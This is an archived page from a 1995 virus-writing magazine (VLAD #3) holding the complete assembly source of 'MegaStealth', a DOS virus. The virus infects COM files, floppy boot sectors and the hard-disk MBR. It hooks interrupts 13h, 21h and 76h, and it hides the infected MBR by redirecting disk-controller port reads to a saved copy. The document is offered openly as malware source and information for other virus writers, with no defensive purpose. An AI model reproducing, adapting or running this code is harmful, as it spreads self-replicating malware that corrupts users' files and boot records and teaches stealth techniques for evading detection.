home *** CD-ROM | disk | FTP | other *** search
/ HPAVC / HPAVC CD-ROM.iso / pc / MAGS.ZIP / VLAD#3.ZIP / ARTICLE.5_5 < prev    next >
Encoding:
Text File  |  1995-01-30  |  11.3 KB  |  631 lines

  1.  
  2. ;       MegaStealth Virus Source by qark
  3. ;
  4. ;       COM/BS/MBR Infector
  5. ;       It uses the new form of stealth developed by the 'strange' virus in
  6. ;       that even if you are using the original ROM int 13h the virus will
  7. ;       still successfully stealth.  It does this by hooking the hard disk
  8. ;       IRQ, int 76h, and checking the ports for a read to the MBR.  If the
  9. ;       MBR is being read, the ports will be changed to cause a read from
  10. ;       sector four instead.
  11. ;
  12. ;       Noone has the 'strange' virus (and believe me, every VX BBS in the
  13. ;       world has been checked), so I decided to develop the technology
  14. ;       independently and make the information public.
  15. ;
  16.  
  17.  
  18.  
  19.  
  20.     org     0
  21.  
  22.     cld
  23.     mov     ax,cs
  24.     or      ax,ax
  25.     jz      bs_entry
  26.     jmp     com_entry
  27.  
  28. ;------------------- Boot Sector Stub ----------------
  29. Marker  db      '[MegaStealth] by qark/VLAD',0
  30.  
  31. bs_entry:
  32.     xor     ax,ax
  33.     mov     si,7c00h
  34.     cli
  35.     mov     ss,ax
  36.     mov     sp,si
  37.     sti
  38.     mov     es,ax
  39.     mov     ds,ax
  40.  
  41.     ;CS,DS,ES,SS,AX=0    SI,SP=7C00H
  42.     
  43.     sub     word ptr [413h],2       ;Allocate 2k of memory.
  44.  
  45.     int     12h                     ;Get memory into AX.
  46.  
  47.     mov     cl,6
  48.     shl     ax,cl
  49.     mov     es,ax
  50.  
  51.     mov     ax,202h
  52.     xor     bx,bx
  53.     xor     dh,dh
  54.     mov     cx,2
  55.     or      dl,dl
  56.     js      hd_load
  57.  
  58.     db      0b9h                    ;MOV CX,xxxx
  59.     floppy_sect     dw      0
  60.     db      0b6h                    ;MOV DH,xx
  61.     floppy_head     db      0
  62.  
  63. hd_load:
  64.     int     13h                     ;Read our virus in.
  65.  
  66.     mov     si,13h*4
  67.     mov     di,offset i13
  68.     movsw
  69.     movsw
  70.     mov     word ptr [si-4],offset handler
  71.     mov     word ptr [si-2],es
  72.  
  73.     mov     byte ptr es:set_21,0
  74.     
  75.     ;Test for an 8088.
  76.     mov     al,2
  77.     mov     cl,33
  78.     shr     al,cl
  79.     test    al,1
  80.     jz      no_int76                ;8088 doesn't use int76
  81.  
  82.     mov     si,76h*4                ;Set int76
  83.     mov     di,offset i76
  84.     movsw
  85.     movsw
  86.     mov     word ptr [si-4],offset int76handler
  87.     mov     word ptr [si-2],es
  88.  
  89.     mov     byte ptr es:llstealth_disable,0
  90.  
  91. no_int76:
  92.     int     19h                     ;Reload the original bootsector.
  93.  
  94. ;------------------- COM Stub ----------------
  95.  
  96. com_entry:
  97.  
  98.     db      0beh                    ;MOV SI,xxxx
  99.     delta   dw      100h
  100.  
  101.     mov     ax,0f001h
  102.     int     13h
  103.  
  104.     cmp     ax,10f0h
  105.     je      resident
  106.  
  107.     mov     ax,ds
  108.     dec     ax
  109.     mov     ds,ax
  110.  
  111.     cmp     byte ptr [0],'Z'
  112.     jne     resident
  113.  
  114.     sub     word ptr [3],7dh
  115.     sub     word ptr [12h],7dh
  116.     mov     ax,word ptr [12h]
  117.  
  118.     push    cs
  119.     pop     ds
  120.     mov     es,ax
  121.     xor     di,di
  122.     
  123.     push    si
  124.  
  125.     mov     cx,1024
  126.     rep     movsb
  127.  
  128.     xor     ax,ax                   ;Set int13
  129.     mov     ds,ax
  130.     mov     si,13h*4
  131.     mov     di,offset i13
  132.     movsw
  133.     movsw
  134.     mov     word ptr [si-4],offset handler
  135.     mov     word ptr [si-2],es
  136.  
  137.     pop     bx
  138.     push    bx
  139.     add     bx,offset end_virus
  140.     
  141.     push    es
  142.     
  143.     push    cs
  144.     pop     es
  145.     mov     ax,201h
  146.     mov     cx,1
  147.     mov     dx,80h
  148.     int     13h
  149.     
  150.     pop     es
  151.  
  152.     mov     si,21h*4
  153.     mov     di,offset i21
  154.     movsw
  155.     movsw
  156.     mov     word ptr [si-4],offset int21handler
  157.     mov     word ptr [si-2],es
  158.     
  159.     mov     byte ptr es:set_21,1
  160.     pop     si
  161.     
  162. resident:
  163.     push    cs
  164.     pop     ds
  165.     push    cs
  166.     pop     es
  167.  
  168.     add     si,offset old4
  169.     mov     di,100h
  170.     push    di
  171.     movsw
  172.     movsw
  173.  
  174.     ret
  175.  
  176. old4    db      0cdh,20h,0,0
  177. new4    db      0e9h,0,0,'V'
  178.  
  179. ;------------------- Int 21 ----------------
  180.  
  181. Int21handler:
  182.     push    ax
  183.     push    es
  184.     mov     ax,0b800h
  185.     mov     es,ax
  186.     mov     word ptr es:[340],0afafh
  187.  
  188.     pop     es
  189.     pop     ax
  190.  
  191.     push    ax
  192.     xchg    al,ah
  193.     cmp     al,3dh
  194.     je      chk_infect
  195.     cmp     al,4bh
  196.     je      chk_infect
  197.     cmp     al,43h
  198.     je      chk_infect
  199.     cmp     al,56h
  200.     je      chk_infect
  201.     cmp     ax,6ch
  202.     je      chk_infect
  203.     pop     ax
  204. exit_21:
  205.     db      0eah
  206.     i21     dd      0
  207.  
  208. far_pop:
  209.     jmp     pop_21
  210.  
  211. chk_infect:
  212.     push    bx
  213.     push    cx
  214.     push    dx
  215.     push    si
  216.     push    di
  217.     push    ds
  218.     push    es
  219.  
  220.     cmp     al,6ch
  221.     jne     no_6c
  222.     mov     dx,si
  223. no_6c:
  224.     mov     si,dx
  225.     cld
  226. keep_lookin:
  227.     lodsb
  228.     cmp     al,'.'
  229.     jne     keep_lookin
  230.     lodsw
  231.     or      ax,2020h
  232.     cmp     ax,'oc'
  233.     jne     far_pop
  234.     lodsb
  235.     or      al,20h
  236.     cmp     al,'m'
  237.     jne     far_pop
  238.     mov     ax,3d02h
  239.     call    int21h
  240.     jc      far_pop
  241.     xchg    bx,ax
  242.     
  243.     mov     ah,3fh
  244.     mov     cx,4
  245.     push    cs
  246.     pop     ds
  247.     mov     dx,offset old4
  248.     call    int21h
  249.  
  250.     mov     ax,word ptr [old4]
  251.     cmp     al,0e9h
  252.     jne     chk_exe
  253.     mov     al,byte ptr old4+3
  254.     cmp     al,'V'
  255.     je      close_exit
  256.     jmp     infect
  257. chk_exe:
  258.     or      ax,2020h
  259.     cmp     ax,'mz'
  260.     je      close_exit
  261.     cmp     ax,'zm'
  262.     je      close_exit
  263. infect:
  264.     call    lseek_end
  265.     or      dx,dx                   ;Too big
  266.     jnz     close_exit
  267.     cmp     ax,63500
  268.     ja      close_exit
  269.     cmp     ax,1000
  270.     jb      close_exit
  271.  
  272.     push    ax
  273.     add     ax,100h
  274.     mov     delta,ax
  275.     pop     ax
  276.     sub     ax,3
  277.     mov     word ptr new4+1,ax
  278.  
  279.     mov     ax,5700h
  280.     call    int21h
  281.     jc      close_exit
  282.     push    cx
  283.     push    dx
  284.  
  285.     mov     ah,40h
  286.     mov     cx,offset end_virus
  287.     xor     dx,dx
  288.     call    int21h
  289.     jc      time_exit
  290.  
  291.     call    lseek_start
  292.     
  293.     mov     ah,40h
  294.     mov     cx,4
  295.     mov     dx,offset new4
  296.     call    int21h
  297.     
  298.  
  299. time_exit:
  300.     pop     dx
  301.     pop     cx
  302.     mov     ax,5701h
  303.     call    int21h
  304.  
  305. close_exit:
  306.     mov     ah,3eh
  307.     call    int21h
  308. pop_21:
  309.     pop     es
  310.     pop     ds
  311.     pop     di
  312.     pop     si
  313.     pop     dx
  314.     pop     cx
  315.     pop     bx
  316.     pop     ax
  317.     jmp     exit_21
  318.  
  319. lseek_start:
  320.     mov     al,0
  321.     jmp     short lseek
  322. lseek_end:
  323.     mov     al,2
  324. lseek:
  325.     xor     cx,cx
  326.     cwd
  327.     mov     ah,42h
  328.     call    int21h
  329.     ret
  330.  
  331.  
  332. Int21h:
  333.     pushf
  334.     call dword ptr cs:i21
  335.     ret
  336.  
  337.     set_21  db      0       ;1 = 21 is set
  338. ;------------------- Int 13 ----------------
  339.  
  340. Stealth:
  341.     mov     cx,4
  342.     mov     ax,201h
  343.  
  344.     or      dl,dl
  345.     js      stealth_mbr             ;DL>=80H then goto stealthmbr
  346.  
  347.     mov     cl,14
  348.     mov     dh,1
  349. stealth_mbr:
  350.     call    int13h
  351.     jmp     pop_end
  352.  
  353. res_test:
  354.     xchg    ah,al
  355.     iret
  356.  
  357. multipartite:
  358.     cmp     byte ptr cs:set_21,1
  359.     je      jend
  360.     cmp     word ptr es:[bx],'ZM'
  361.     jne     jend
  362.     push    si
  363.     push    di
  364.     push    ds
  365.     push    es
  366.  
  367.     xor     si,si
  368.     mov     ds,si
  369.     push    cs
  370.     pop     es
  371.  
  372.     mov     si,21h*4
  373.     mov     di,offset i21
  374.     movsw
  375.     movsw
  376.     mov     word ptr [si-4],offset int21handler
  377.     mov     word ptr [si-2],es
  378.  
  379.     mov     byte ptr cs:set_21,1
  380.  
  381.     pop     es
  382.     pop     ds
  383.     pop     di
  384.     pop     si
  385.     jmp     jend
  386.  
  387. rend:
  388.     retf    2
  389.  
  390. Jend:
  391.     db      0eah                    ;= JMP FAR PTR
  392.     i13     dd      0               ;Orig int13h
  393.  
  394. Handler:
  395.     cmp     ax,0f001h               ;You fool.
  396.     je      res_test
  397.  
  398.     cmp     ah,2
  399.     jne     multipartite
  400.  
  401.     cmp     cx,1
  402.     jne     multipartite
  403.  
  404.     or      dh,dh
  405.     jnz     multipartite
  406.     
  407.  
  408.     call    int13h                  ;Call the read so we can play with
  409.                     ; the buffer.
  410.     jc      rend                    ;The read didn't go through so leave
  411.  
  412.     pushf
  413.     push    ax
  414.     push    bx
  415.     push    cx
  416.     push    dx
  417.     push    si
  418.     push    di
  419.     push    ds
  420.     push    es
  421.     
  422.     cmp     word ptr es:[bx+offset marker],'M['
  423.     je      stealth
  424.  
  425.     mov     byte ptr cs:llstealth_disable,1
  426.  
  427.     mov     cx,4                    ;Orig HD MBR at sector 3.
  428.  
  429.     or      dl,dl                   ;Harddisk ?
  430.     js      write_orig              ;80H or above ?
  431.  
  432.     ;Calculate shit like track/head for floppy******
  433.     push    dx
  434.  
  435.     push    cs
  436.     pop     ds
  437.  
  438.     mov     ax,es:[bx+18h]          ;Sectors per track.
  439.     sub     es:[bx+13h],ax          ;Subtract a track.
  440.     mov     ax,es:[bx+13h]          ;AX=total sectors.
  441.     mov     cx,es:[bx+18h]          ;CX=sectors per track
  442.     xor     dx,dx
  443.     div     cx                      ;Total sectors/sectors per track
  444.  
  445.     xor     dx,dx
  446.     mov     cx,word ptr es:[bx+1ah] ;CX=heads
  447.     div     cx                      ;Total tracks/heads
  448.  
  449.     push    ax
  450.     xchg    ah,al                   ;AX=Track
  451.     mov     cl,6
  452.     shl     al,cl                   ;Top 2 bits of track.
  453.     or      al,1                    ;We'll use the first sector onward.
  454.     mov     word ptr floppy_sect,ax
  455.  
  456.     pop     ax
  457.     mov     cx,word ptr es:[bx+1ah] ;CX=heads
  458.     xor     dx,dx
  459.     div     cx                      ;Track/Total Heads
  460.  
  461.     mov     byte ptr floppy_head,dl ;Remainder=Head number
  462.  
  463.     mov     cx,14                   ;Floppy root directory.
  464.     pop     dx
  465.     mov     dh,1
  466.  
  467. write_orig:
  468.     mov     ax,301h                 ;Save the original boot sector.
  469.     call    int13h
  470.     jc      pop_end
  471.  
  472.     push    es
  473.     pop     ds
  474.  
  475.     mov     si,bx
  476.     push    cs
  477.     pop     es                      ;ES=CS
  478.     mov     cx,510                  ;Move original sector to our buffer.
  479.     cld
  480.     mov     di,offset end_virus
  481.     rep     movsb
  482.     
  483.     mov     ax,0aa55h               ;End of sector marker.
  484.     stosw
  485.  
  486.     push    cs
  487.     pop     ds
  488.  
  489.     xor     si,si
  490.     mov     di,offset end_virus
  491.     mov     cx,offset com_entry
  492.     rep     movsb
  493.  
  494.     mov     bx,offset end_virus
  495.     
  496.     mov     ax,301h
  497.     mov     cx,1
  498.     xor     dh,dh
  499.     
  500.     call    int13h
  501.     jc      pop_end
  502.     
  503.     mov     ax,302h
  504.     mov     cx,2
  505.     xor     bx,bx
  506.     or      dl,dl
  507.     js      mbr_write
  508.  
  509.     mov     cx,word ptr floppy_sect
  510.     mov     dh,byte ptr floppy_head
  511.     
  512. mbr_write:
  513.  
  514.     call    int13h                  ;Write the virus!
  515.  
  516. pop_end:
  517.     mov     byte ptr cs:llstealth_disable,0
  518.  
  519.     pop     es
  520.     pop     ds
  521.     pop     di
  522.     pop     si
  523.     pop     dx
  524.     pop     cx
  525.     pop     bx
  526.     pop     ax
  527.     popf    
  528.     jmp     rend                                        
  529.  
  530.  
  531. Int13h  Proc    Near
  532. ; AH & AL are swapped on entry to this call.
  533.  
  534.     pushf                   ;Setup our interrupt
  535.     push    cs              ;Our segment
  536.     call    jend            ;This will also fix our AX
  537.     ret
  538.  
  539. Int13h  EndP
  540.  
  541. ;------------------- Int 76 ----------------
  542.  
  543. not_bs:
  544.     pop     es
  545.     pop     ds
  546.     pop     di
  547.     pop     dx
  548.     pop     cx
  549.     pop     bx
  550.     pop     ax
  551. no_stealth:
  552.     db      0eah                    ;JMPF
  553.     i76     dd      0
  554.     
  555. Int76Handler:
  556.     cmp     byte ptr cs:llstealth_disable,1
  557.     je      no_stealth
  558.  
  559.     push    ax
  560.     push    bx
  561.     push    cx
  562.     push    dx
  563.     push    di
  564.     push    ds
  565.     push    es
  566.  
  567.     mov     dx,1f3h
  568.     in      al,dx           ;Sector number.
  569.     cmp     al,1
  570.     jne     not_bs
  571.     inc     dx              ;1f4h
  572.     in      al,dx           ;Cylinder Low
  573.     cmp     al,0
  574.     jne     not_bs
  575.     inc     dx              ;1f5h
  576.     in      al,dx           ;Cylinder High
  577.     cmp     al,0
  578.     jne     not_bs
  579.     inc     dx              ;1f6h
  580.     in      al,dx
  581.     and     al,0fh          ;Remove everything but the head.
  582.     cmp     al,0            ;Head
  583.     jne     not_bs
  584.  
  585.     inc     dx              ;1f7h
  586.     in      al,dx
  587.  
  588.     test    al,0fh
  589.     jnz     disk_read
  590.     jmp     not_bs          ;Must be a write.
  591. disk_read:
  592.     cld
  593.     mov     dx,1f0h
  594.     push    cs
  595.     pop     es
  596.     mov     di,offset end_virus
  597.     mov     cx,512/2
  598.     rep     insw            ;Read in what they read.
  599.  
  600.     ;Now reset the whole system for a read from sector 4.
  601.  
  602.     mov     dx,1f2h
  603.     mov     al,1            ;One sector.
  604.     out     dx,al
  605.     inc     dx
  606.     mov     al,4            ;Sector 4 instead.
  607.     out     dx,al   ;1f3
  608.     mov     al,0
  609.     inc     dx
  610.     out     dx,al   ;1f4
  611.     inc     dx
  612.     out     dx,al   ;1f5
  613.     inc     dx
  614.     mov     al,0a0h
  615.     out     dx,al   ;1f6
  616.  
  617.     mov     dx,1f7h
  618.     mov     al,20h          ;Read function.
  619.     out     dx,al
  620. not_done:
  621.     in      al,dx
  622.     test    al,8
  623.     jz      not_done
  624.     jmp     not_bs
  625.  
  626. llstealth_disable       db      0       ;0 means int76 enabled 
  627. ;---------------------- 76 -------------------
  628.  
  629. end_virus:
  630.  
  631.